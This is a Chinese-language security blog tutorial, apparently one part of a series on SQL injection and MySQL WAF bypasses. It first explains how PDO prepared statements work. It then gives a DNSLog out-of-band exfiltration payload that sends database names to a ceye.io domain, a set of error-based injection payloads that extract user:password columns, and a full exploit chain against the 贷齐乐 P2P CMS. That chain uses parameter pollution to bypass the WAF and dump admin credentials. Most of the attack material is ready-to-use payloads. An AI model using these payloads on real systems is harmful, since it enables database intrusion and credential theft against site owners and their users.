前往小程序,Get更优阅读体验!
立即前往
发布
社区首页 >专栏 >2024全网最全面及最新且最为详细的网络安全技巧四 之 sql注入以及mysql绕过技巧 (3)———— 作者:LJS

2024全网最全面及最新且最为详细的网络安全技巧四 之 sql注入以及mysql绕过技巧 (3)———— 作者:LJS

作者头像
盛透侧视攻城狮
发布2024-10-21 20:32:30
发布2024-10-21 20:32:30
9900
代码可运行
举报
运行总次数:0
代码可运行

4.9 PDO防sql注入原理分析

使用pdo的预处理方式可以避免sql注入

在php手册中'PDO--预处理语句与存储过程'下的说明:

很多更成熟的数据库都支持预处理语句的概念。什么是预处理语句?可以把它看作是想要运行的 SQL 的一种编译过的模板,它可以使用变量参数进行定制。预处理语句可以带来两大好处:

查询仅需解析(或预处理)一次,但可以用相同或不同的参数执行多次。当查询准备好后,数据库将分析、编译和优化执行该查询的计划。对于复杂的查询,此过程要花费较长的时间,如果需要以不同参数多次重复相同的查询,那么该过程将大大降低应用程序的速度。通过使用预处理语句,可以避免重复分析/编译/优化周 期。简言之,预处理语句占用更少的资源,因而运行得更快。

提供给预处理语句的参数不需要用引号括起来,驱动程序会自动处理。如果应用程序只使用预处理语句,可以确保不会发生SQL 注入。(然而,如果查询的其他部分是由未转义的输入来构建的,则仍存在 SQL 注入的风险)。

预处理语句如此有用,以至于它们唯一的特性是在驱动程序不支持的时PDO 将模拟处理。这样可以确保不管数据库是否具有这样的功能,都可以确保应用程序可以用相同的数据访问模式。

下边分别说明一下上述两点好处:

1.首先说说mysql的存储过程,mysql5中引入了存储过程特性,存储过程创建的时候,数据库已经对其进行了一次解析和优化。其次,存储过程一旦执行,在内存中就会保留一份这个存储过程,这样下次再执行同样的存储过程时,可以从内存中直接中读取。mysql存储过程的使用可以参看:mysql prepare 存储过程使用 - - ITeye博客

对于PDO,原理和其相同,只是PDO支持EMULATE_PREPARES(模拟预处理)方式,是在本地由PDO驱动完成,同时也可以不使用本地的模拟预处理,交由mysql完成,下边会对这两种情况进行说明。

2.防止sql注入,我通过tcpdump和wireshark结合抓包来分析一下。

在虚拟机上执行一段代码,对远端mysql发起请求:

代码语言:javascript
代码运行次数:0
复制
<?php

// 连接到数据库,创建 PDO 对象
$pdo = new PDO("mysql:host=127.0.0.1;dbname=test;charset=utf8", "root","root123");

// 准备 SQL 查询语句,使用参数化查询来防止 SQL 注入攻击
$st = $pdo->prepare("select * from users where id =?");

// 从 GET 请求中获取 id 参数,这里假设用户通过 URL 提供了一个 id 参数
$id = $_GET['id'];

// 绑定参数到 SQL 查询语句中的第一个占位符(即问号),避免直接拼接参数到 SQL 语句中
$st->bindParam(1, $id);

// 执行 SQL 查询
$st->execute();

// 获取查询结果的所有行,并将其作为关联数组返回
$ret = $st->fetchAll();

// 打印查询结果,通常用于调试或展示目的
print_r($ret);
?>

通过抓包生成文件:

通过wireshark打开文件:

img
img

可以看到整个过程:3次握手--Login Request--Request Query--Request Quit

查看Request Query包可以看到:

img
img

咦?这不也是拼接sql语句么?

其实,这与我们平时使用mysql_real_escape_string将字符串进行转义,再拼接成SQL语句没有差别,只是由PDO本地驱动完成转义的(EMULATE_PREPARES)

这种情况下还是有可能造成SQL 注入的,也就是说在php本地调用pdo prepare中的mysql_real_escape_string来操作query,使用的是本地单字节字符集,而我们传递多字节编码的变量时,有可能还是会造成SQL注入漏洞(php 5.3.6以前版本的问题之一,这也就解释了为何在使用PDO时,建议升级到php 5.3.6+,并在DSN字符串中指定charset的原因)。

预防方法

PDO有一项参数,名为PDO::ATTR_EMULATE_PREPARES ,表示是否使用PHP本地模拟prepare,此项参数默认true,我们改为false后再抓包看看。

先在代码第一行后添加

代码语言:javascript
代码运行次数:0
复制
$pdo->setAttribute(PDD::ATTR_EMULATE_PREARES,false);

再次用tcpdump抓包,通过wireshark我们可以看到:

img
img

php对sql语句发送采用了prepare--execute方式

img
img
img
img

这次的变量转义处理交由mysql server来执行。

既然变量和SQL模板是分两次发送的,那么就不存在SQL注入的问题了,但明显会多一次传输,这在php5.3.6之后是不需要的。

4.10 sqlmap结合dnslog注入

4.10.1 配置mysql

代码语言:javascript
代码运行次数:0
复制
show variables like '%secure%';
在这里插入图片描述
在这里插入图片描述

1、当secure_file_priv为空,就可以读取磁盘的目录。

2、当secure_file_priv为G:\,就可以读取G盘的文件。

3、当secure_file_priv为null,load_file就不能加载文件。 所以修改C:\phpstudy_pro\www\MySQL5.7.22\my.ini 添加secure_file_priv="" 重启mysql

4.10.2 在线doslog网站

DNSLog Platform https://dnslog.io/ CEYE - Monitor service for security testing

这里选择利用ceye平台

4.10.3 sqlmap结合dnslog

现买域名还需要实名认证要等几天,这里就本地进行复现 这里使用三台虚拟机,在公网是一样的效果

1.kali(使用sqlmap)ip 172.16.60.222

2.windows10(靶机)有注入点 ip 172.16.60.250

3.win2008r2 (dns服务器)ip 172.16.60.166 3需要设置dns服务器

4.10.4 安装dns服务器

在这里插入图片描述
在这里插入图片描述

点击下一步,勾选dns服务器

在这里插入图片描述
在这里插入图片描述

连续下一步,之后点击安装,等待安装… 安装完成之后在开始管理工具中选择dns管理器 右键,属性

在这里插入图片描述
在这里插入图片描述

在监视中对测试类型打钩

在这里插入图片描述
在这里插入图片描述

在正常查找区域中右键选择新建区域

在这里插入图片描述
在这里插入图片描述

设置新建区域名称

继续默认下一步就可以 进入我们设置的域名,右键,新建主机(A记录) 设置域名,这里的ip地址为kali的ip

继续添加 因为这里是本地模拟,所以需要修改靶机的dns服务器为我们设置的dns服务器

在kali执行

代码语言:javascript
代码运行次数:0
复制
tcpdump -n port 53

在靶机执行

代码语言:javascript
代码运行次数:0
复制
ping test.ring04h.top

在kali看到了数据包证明成功

4.10.5 添加转发(关键)

在条件转发器上右键添加条件转发器

ip是kali 的ip,之后点击确定 在靶机执行

代码语言:javascript
代码运行次数:0
复制
ping test.oupeng.top

kali有显示即可

4.10.6 复现

代码语言:javascript
代码运行次数:0
复制
http://127.0.0.1/sqllabs/Less-8/?id=1%27%20and%20load_file(concat(%22\\\\%22,database(),%22.bgwqmj.ceye.io\\abc%22))--+

看到平台回显

sqlmap的–dns-domain参数注入
代码语言:javascript
代码运行次数:0
复制
sqlmap -u "http://xx.xx.xx.xx/index.php?id=1" --technique=T --dns-domain "oupeng.top" -D security --tables

4.11 报错注入7大常用函数

4.11.1 ST_LatFromGeoHash()(mysql>=5.7.x)

payload
代码语言:javascript
代码运行次数:0
复制
and  ST_LatFromGeoHash(concat(0x7e,(select user(),0x7e))
//ST_LatFromGeoHash 是一个地理信息系统(GIS)函数,用于从 GeoHash 字符串中提取经度

4.11.2 ST_LongFromGeoHash(mysql>=5.7.x)

payload

#同 8 ,都使用了嵌套查询

代码语言:javascript
代码运行次数:0
复制
and  ST_LongFromGeoHash(concat(0x7e,(select user(),0x7e))
//ST_LongFromGeoHash 是一个地理信息系统(GIS)函数,用于从 GeoHash 字符串中提取纬度(Longitude)的值。

4.11.3 GTID (MySQL >= 5.6.X - 显错<=200)

4.11.3.1 GTID

GTID是MySQL数据库每次提交事务后生成的一个全局事务标识符,GTID不仅在本服务器上是唯一的,其在复制拓扑中也是唯一的

GTID_SUBSET() 和 GTID_SUBTRACT()函数
4.11.3.2 函数详解

GTID_SUBSET() 和 GTID_SUBTRACT() 函数,我们知道他的输入值是 GTIDset ,当输入有误时,就会报错

GTID_SUBSET( set1 , set2 ) - 若在 set1 中的 GTID,也在 set2 中,返回 true,否则返回 false ( set1 是 set2 的子集)

GTID_SUBTRACT( set1 , set2 ) - 返回在 set1 中,不在 set2 中的 GTID 集合 ( set1 与 set2 的差集)

4.11.3.3 注入过程( payload )
代码语言:javascript
代码运行次数:0
复制
--GTID_SUBSET函数


or gtid_subset(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)

 
--GTID_SUBTRACT

 or gtid_subtract(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)
4.11.4 floor(8.x>mysql>5.0)

获取数据库版本信息

代码语言:javascript
代码运行次数:0
复制
or (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

获取当前数据库

代码语言:javascript
代码运行次数:0
复制
or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

获取表数据

代码语言:javascript
代码运行次数:0
复制
or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='test' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

获取users表里的段名

代码语言:javascript
代码运行次数:0
复制
or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = 'users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
4.11.5 ST_Pointfromgeohash (mysql>=5.7)
获取数据库版本信息
代码语言:javascript
代码运行次数:0
复制
or ST_PointFromGeoHash(version(),1)--+
获取表数据
代码语言:javascript
代码运行次数:0
复制
or ST_PointFromGeoHash((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)
获取users表里的段名
代码语言:javascript
代码运行次数:0
复制
or ST_PointFromGeoHash((select column_name from information_schema.columns where table_name = 'manage' limit 0,1),1)--+
获取字段里面的数据
代码语言:javascript
代码运行次数:0
复制
or  ST_PointFromGeoHash((concat(0x23,(select group_concat(user,':',`password`) from manage),0x23)),1)--+
4.11.6 updatexml
代码语言:javascript
代码运行次数:0
复制
updatexml(1,1,1) 一共可以接收三个参数,报错位置在第二个参数
4.11.7 extractvalue
代码语言:javascript
代码运行次数:0
复制
extractvalue(1,1) 一共可以接收两个参数,报错位置在第二个参数

  • 4.12 贷齐乐hpp+php特性注入

贷齐乐系统最新版SQL注入(利用hpp+php的特性进行巧妙的sql注入)

0x01 被WAF武装的贷齐乐

代码语言:javascript
代码运行次数:0
复制
<span style="color:#ab4642">0x01 被WAF武装的贷齐乐</span>

随便给一个贷齐乐最新版的SQL注入,如 http://.../index.php?blog&q=viewfast&id=xxx ,测试后可以发现,根本无法获取任何敏感信息,连数据库版本和用户名都没法获取。

贷齐乐这个系统,说起来也是安全问题比较严重的P2P金融类的CMS。由于连续出了多次安全漏洞,所以官方给贷齐乐系统中添加了严重影响正常使用的变态WAF。

/core/sqlin.inc.php,包含在config.inc.php中,所有请求都会经由此类过滤:

代码语言:javascript
代码运行次数:0
复制
class sqlin {
    // 构造函数,可能用于初始化对象
    function sqlin() {
        // 遍历 $_GET 中的每个键值对
        foreach ($_GET as $key => $value) {
            // 检查键名不是 "content",并且不包含 "password" 的字符串
            if ($key != "content" && strstr($key, "password") == false) {
                // 调用 dowith_sql 方法处理值,将处理后的值重新赋给 $_GET[$key]
                $_GET[$key] = $this->dowith_sql($value);
            }
        }
        
        // 遍历 $_POST 中的每个键值对
        foreach ($_POST as $key => $value) {
            // 输出调试信息到文件
            @file_put_contents('wxy123123.txt', date('Ymd His') . '提交url拼接 '.$key."|".(strstr($key, "password") == false), FILE_APPEND);
            // 检查键名不是 "content",并且不包含 "password" 的字符串
            if ($key != "content" && strstr($key, "password") == false) {
                // 调用 dowith_sql 方法处理值,将处理后的值重新赋给 $_POST[$key]
                $_POST[$key] = $this->dowith_sql($value);
            }
        }
        
        // 遍历 $_REQUEST 中的每个键值对(包含 $_GET、$_POST、$_COOKIE 的合集)
        foreach ($_REQUEST as $key => $value) {
            // 检查键名不是 "content",并且不包含 "password" 的字符串
            if ($key != "content" && strstr($key, "password") == false) {
                // 调用 dowith_sql 方法处理值,将处理后的值重新赋给 $_REQUEST[$key]
                $_REQUEST[$key] = $this->dowith_sql($value);
            }
        }
    }

    // 处理 SQL 注入的方法
    function dowith_sql($str) {
        // 检查 $str 中是否包含任何 SQL 注入的关键字或字符
        $check = eregi('select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile', $str);
        
        // 如果检测到非法字符,输出警告并终止脚本
        if ($check) {
            echo "非法字符!";
            exit();
        }
        
        // 循环处理 $str,直到 $newstr 等于 $str
        $newstr = "";
        while ($newstr != $str) {
            $newstr = $str;
            // 逐个替换一些关键字和特殊字符为空字符串,以过滤掉可能的恶意输入
            $str = str_replace("script", "", $str);
            $str = str_replace("execute", "", $str);
            $str = str_replace("update", "", $str);
            // $str = str_replace("count", "", $str); // 注释掉对 count 的过滤,避免误伤如 "account" 参数
            $str = str_replace("master", "", $str);
            $str = str_replace("truncate", "", $str);
            $str = str_replace("declare", "", $str);
            $str = str_replace("select", "", $str);
            $str = str_replace("create", "", $str);
            $str = str_replace("delete", "", $str);
            $str = str_replace("insert", "", $str);
            $str = str_replace("\'", "", $str); // 移除单引号,可能是注入的一部分
        }
        
        // 返回处理后的 $str
        return $str;
    }
}

ET/POST/REQUEST三个变量,都会经过这个正则:select|insert|update|delete|'|/*|*|../|./|union|into|load_file|outfile

一旦遇到select,包括单引号,包括注释符,就立即exit整个流程。

估计不少胆子小的同学已经被吓哭了,还没完,继续第二个waf开始

/core/safe.inc.php 里面的过滤

代码语言:javascript
代码运行次数:0
复制
function safe_str($str){
    if(!get_magic_quotes_gpc()) {
        if( is_array($str) ) {
            foreach($str as $key => $value) {
                $str[$key] = safe_str($value);
            }
        } else {
            $str = addslashes($str);
        }
    }
    return $str;
}

/*如果服务器的 magic_quotes_gpc 没有开启(get_magic_quotes_gpc() 返回 false,
如果输入 $str 是一个数组,则递归地对数组的每个元素调用 safe_str() 函数,
如果输入 $str 是字符串,则使用 addslashes() 函数给字符串中的特殊字符添加反斜线,*/
function dhtmlspecialchars($string) {
    if(is_array($string)) {
        foreach($string as $key => $val) {
            $string[$key] = dhtmlspecialchars($val);
        }
    } else {
        $string = str_replace(array('&', '"', '<', '>','(',')'), array('&amp;', '&quot;', '&lt;', '&gt;','(',')'), $string);
        if(strpos($string, '&amp;#') !== false) {
            $string = preg_replace('/&amp;((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
        }
    }
    return $string;
}

/*
如果输入 $string 是数组,则递归地对数组的每个元素调用 dhtmlspecialchars() 函数,
如果输入 $string 是字符串,则使用 str_replace() 函数将 &, ", <, >, (, ) 等特殊字符替换为它们的 HTML 实体表示,例如 &amp;, &quot;, &lt;, &gt;。
如果字符串中包含 &amp;#,则使用正则表达式 preg_replace() 将类似 &amp;#123; 这样的 HTML 实体转换为原始的字符。*/

foreach ($_GET as $key => $value) {
    $_GET[$key] = safe_str($value);
    $_GET[$key] = dhtmlspecialchars($value);
}
foreach ($_POST as $key => $value) {
    $_POST[$key] = safe_str($value);
    $_GET[$key] = dhtmlspecialchars($value); // 这里应该是 $_POST[$key]
}
foreach ($_REQUEST as $key => $value) {
    $_REQUEST[$key] = safe_str($value);
    $_REQUEST[$key] = dhtmlspecialchars($value);
}
foreach ($_COOKIE as $key => $value) {
    $_COOKIE[$key] = safe_str($value);
    $_GET[$key] = dhtmlspecialchars($value); // 这里应该是 $_COOKIE[$key]
}
/*对 $_GET, $_POST, $_REQUEST, $_COOKIE 数组中的每个键值对进行循环处理。
每个值首先通过 safe_str() 函数进行安全处理,然后再通过 dhtmlspecialchars() 函数进行 HTML 实体转换处理。*/

GET/POST/REQUEST/COOKIE都会经过这个替换str_replace(array('&', '"', '<', '>','(',')'), array('&', '"', '<', '>','(',')'), $string),你又哭了吗?

这个替换最明显的效果,就是所有的英文括号都变成中文括号,导致user(),database()等无法执行

比如文章开头给的注入点,因为没有括号也没有select,所以我拿不到任何敏感信息

所以,原本岌岌可危的贷齐乐,彷佛穿了一件钢铁盔甲,成为了一个『安全』的P2P金融系统,但真的安全吗?

0x02 变量获取的逻辑顺序

如果想找到可以使用的SQL注入漏洞,首要任务就是绕过WAF。通过阅读源码,我列出贷齐乐系统对于输入(包括WAF)的处理过程:

代码语言:javascript
代码运行次数:0
复制
index.php -> config.inc.php -> sqlin.php -> safe.inc.php

sqlin.php是对select、union、’等关键字的拦截。一旦发现存在这些关键字,就exit出整个执行流程。

safe.inc.php是替换一些敏感字符,比如<、>、(、)等。

但我在safe.inc.php里找到了如下一段代码(在替换之前):

代码语言:javascript
代码运行次数:0
复制
$request_uri = explode("?", $_SERVER['REQUEST_URI']);
if (isset($request_uri[1])) {
	$rewrite_url = explode("&", $request_uri[1]);
	foreach ($rewrite_url as $key => $value) {
		$_value = explode("=", $value);
		if (isset($_value[1])) {
			$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
			//$_REQUEST[$_value[0]] = addslashes($_value[1]);
			//$_REQUEST[$_value[0]] = dhtmlspecialchars($_value[1]);
		}
	}
}

将$_SERVER['REQUEST_URI']用?分开,?后面的内容再用&切割成数组,遍历这个数组。对数组中的每个字符串,再用=分成0和1,最后填入到$_REQUEST数组中:$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));

这个过程等于手工处理了一遍REQUEST_URI,将REQUEST_URI中的字符串分割成数组覆盖到REQUEST里。

按道理来说并没有什么大错误,但试想:这个过程是在我们的第一道WAF之后进行的,假设我们有一个方法让第一道WAF认为请求中没有恶意字符,再通过这里的覆盖,将恶意字符引入$_REQUEST中,就可以造成WAF的绕过了。

那么有什么办法让第一道WAF认为请求中没有恶意字符?这其实是个很难的问题,因为WAF会检测所有请求数组,只要有一个数组内的值存在问题,就直接退出。

0x03 PHP小特性带来的大作用

说漏洞之前,我们先利用靶机测试,在本地测试一些东西:

可以看到获取了id=2的内容,当我们输入两个相同名字的参数的时候,php是取后一个的

实验做完了,回到漏洞。

我一直在思考,假设我有一个办法,在第一次WAF检测参数的时候,检测的是2,但后面覆盖request的时候,拿到 的是1,那么不就可以造成WAF的绕过了么?

但上述实验的结果表示,我这个假设是不成立的。二者获取的结果都是22222 。那么,这个思路是否就是不可行的 了?

php另一个特性,自身在解析请求的时候,如果参数名字中包含” “、”.”、”[“这几个字符,会将他们转换成下划线。

那么假设我发送的是这样一个请求: /t.php?user_id=11111&user.id=22222 ,php先将user.id转换成user_id,即 为/t.php?user_id=11111&user_id=22222 ,再获取到的$_REQUEST['user_id']就是22222。

可在$_SERVER['REQUEST_URI']中,user_id和user.id却是两个完全不同的参数名,那么切割覆盖后,获取的 $_REQUEST['user_id']却是11111。

完美践行了我上述的思路:WAF检测的是2,实际插入数据库的却是1

0x04 实践是检验真理的唯一标准

这一节我需要找到一个真正满足条件的漏洞来。上述的绕过思路是有条件限制的,如下:

先需要找到一个注入点

注入点可控变量需要获取自$_REQUEST

变量的名字必须包含下划线

好找吗?其实在千疮百孔的贷齐乐系统中,这些条件很容易满足。文件 /core/user.class.php 394行

代码语言:javascript
代码运行次数:0
复制
public static function GetOne($data = array()){
    global $mysql;
    $user_id = isset($data['user_id'])?$data['user_id']:"";
    $username = isset($data['username'])?$data['username']:"";
    $password = isset($data['password'])?$data['password']:"";
    $email = isset($data['email'])?$data['email']:"";
    $type_id = isset($data['type_id'])?$data['type_id']:"";
    $sql = "CREATE TABLE IF NOT EXISTS `{user_cache}` (
         `user_id` int(11) NOT NULL DEFAULT '0')";
    $mysql ->db_query($sql);
    if ($user_id == "" && $username == "") return self::ERROR;
    $sql = "select p2.name as typename,p2.type,p3.*,p4.*,p5.*,p1.*  from `{user}` as p1 
            left join `{user_type}` as p2 on  p1.type_id = p2.type_id
            left join `{user_cache}` as p3 on  p3.user_id = p1.user_id
            left join `{account}` as p4 on  p4.user_id = p1.user_id
            left join `{userinfo}` as p5 on  p5.user_id = p1.user_id
            where 1=1 ";
    if ($user_id!=""){
        $sql .= " and p1.user_id = $user_id";
    }

    if ($password!=""){
        $sql .= " and  p1.password = '".md5($password)."'";
    }

    if ($username!=""){
        $sql .= " and  p1.username = '$username'";
    }

    if ($email!=""){
        $sql .= " and  p1.email = '$email'";
    }

    if ($type_id!=""){
        $sql .= " and p1.type_id = '$type_id'";
    }
    return $mysql->db_fetch_array($sql);
}
  • 这个user_id,就可以满足条件。我们访问如下链接,即可发现报错:

可说明这是一个SQL注入。我们用常规SQL注入手段,即可发现被WAF拦截:

那么我们用上一节说的手法,加个user.id=123123,试试还会不会被拦截了:

妥妥了,不拦截了,而且SQL注入也可以正常进行。

因为获取的是REQUEST_URI,所以特殊字符会被url编码,没关系可以用一些关键词替换。另外,我们这个方法只能绕过检测的WAF,没法绕过safe.inc.php里替换的WAF,所以还是没法使用括号。

即使如此,对于union select注入来说,括号并不需要

最后构造的exp为:

代码语言:javascript
代码运行次数:0
复制
http://**.**.**.**/?query_site=home&user_id=-1/**/Union/**/SElect/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,username,password,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194/**/from/**/dw_user/**/limit/**/0,1&user.id=1

注入出管理员账号密码

0x05 总结

这个洞的挖掘包括利用其实很巧妙,利用的是hpp+php特性,来绕过CMS应用中变态的WAF。造成漏洞 的根本原因不在hpp,也不在php的这个特性,根本原因是贷齐乐内部存在太多显而易见的SQL注入漏洞。

但由于其官方开发人员过于相信WAF,或者说他们并没有正确处理SQL注入漏洞的能力,只能通过拦截一些关键字来抵御SQL注入。那么一旦WAF被绕过,将造成无法挽回的损失。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2024-07-01,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 4.9 PDO防sql注入原理分析
    • 使用pdo的预处理方式可以避免sql注入
    • 预防方法
  • 4.10 sqlmap结合dnslog注入
    • 4.10.1 配置mysql
    • 4.10.2 在线doslog网站
    • 4.10.3 sqlmap结合dnslog
    • 4.10.4 安装dns服务器
    • 4.10.5 添加转发(关键)
    • 4.10.6 复现
      • sqlmap的–dns-domain参数注入
  • 4.11 报错注入7大常用函数
    • 4.11.1 ST_LatFromGeoHash()(mysql>=5.7.x)
      • payload
    • 4.11.2 ST_LongFromGeoHash(mysql>=5.7.x)
      • payload
    • 4.11.3 GTID (MySQL >= 5.6.X - 显错<=200)
      • 4.11.3.1 GTID
      • 4.11.3.2 函数详解
      • 4.11.3.3 注入过程( payload )
      • 4.11.4 floor(8.x>mysql>5.0)
      • 4.11.5 ST_Pointfromgeohash (mysql>=5.7)
      • 4.11.6 updatexml
      • 4.11.7 extractvalue
    • 0x01 被WAF武装的贷齐乐
    • 0x02 变量获取的逻辑顺序
    • 0x03 PHP小特性带来的大作用
    • 0x04 实践是检验真理的唯一标准
    • 0x05 总结
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档